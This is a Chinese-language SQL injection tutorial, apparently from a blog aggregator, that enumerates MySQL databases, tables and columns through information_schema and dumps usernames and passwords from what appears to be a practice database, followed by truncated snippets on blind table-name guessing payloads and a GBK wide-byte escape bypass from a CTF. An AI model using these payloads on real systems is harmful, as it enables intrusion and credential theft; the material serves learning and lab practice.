mysql有乙個系統資料庫information_schema,儲存著所有的資料相關資訊,一般的,可以利用該錶進行一次完整的注入。以下為一般的流程。
猜資料庫:
select schema_name from information_schema.schemata;
mariadb [information_schema]> selectschema_name from information_schema.schemata;
+--------------------+
| schema_name |
+--------------------+
| information_schema |
| cms |
| performance_schema |
| mysql |
| test |
+--------------------+
5 rows in set (0.001 sec)
猜某庫的資料表名:
select table_name from information_schema.tables where table_schema = '
test
';
mariadb [information_schema]> select table_name from information_schema.tables where table_schema = 'test';
+------------+
| table_name |
+------------+
| person |
| emails |
| referers |
| users |
| uagents |
| runoob_tbl |
+------------+
6 rows in set (0.001 sec)
猜某錶的所有列:
select column_name from information_schema.columns where table_name ='
users
';
mariadb [information_schema]> select column_name from information_schema.columns where table_name ='users';
+---------------------+
| column_name |
+---------------------+
| user |
| current_connections |
| total_connections |
| id |
| username |
| password |
+---------------------+
6 rows in set (0.001 sec)
猜取某列的內容:
select username,password from test.users;
mariadb [information_schema]> selectusername,password from test.users;
+----------+------------+
| username | password |
+----------+------------+
| dumb | dumb |
| angelina | i-kill-you |
| dummy | p@ssword |
| stupid | stupidity |
| superman | genious |
| batman | mob!le |
| admin | admin |
| admin1 | admin1 |
| admin2 | admin2 |
| admin3 | admin3 |
| dhakkan | dumbo |
| admin4 | admin4 |
+----------+------------+
13 rows in set (0.000 sec)
SQL注入 表的猜解
表名 列名 列長度 具體值 例如 注入點 猜解表名 and exists select from 猜測的表名 猜解列名 and exists select 猜測的列名 from 已知表名 猜測列長度 and select top 1 len 已知列名 from admin 猜測的值長度 如5 top...
sql注入,手動猜表名欄位名
方法從網上看來的,記下來以後看。1,猜表名 錯誤結果顯示公尺有user表。abc.asp?id 12 and 0 select count from admin 載入。說明存在表admin。2,猜欄位名 abc.asp?id 12 and 0 select count id from admin 載...
SQL注入(三) sql注入 bugku
原理 mysql 在使用 gbk 編碼的時候,會認為兩個字元為乙個漢字,例如 aa 5c 就是乙個 漢字 前乙個 ascii碼大於 128 才能到漢字的範圍 我們在過濾 的時候,往往利用的思 路是將 轉換為 換的函式或者思路會在每一關遇到的時候介紹 因此我們在此想辦法將 前面新增的 除掉,一般有兩種...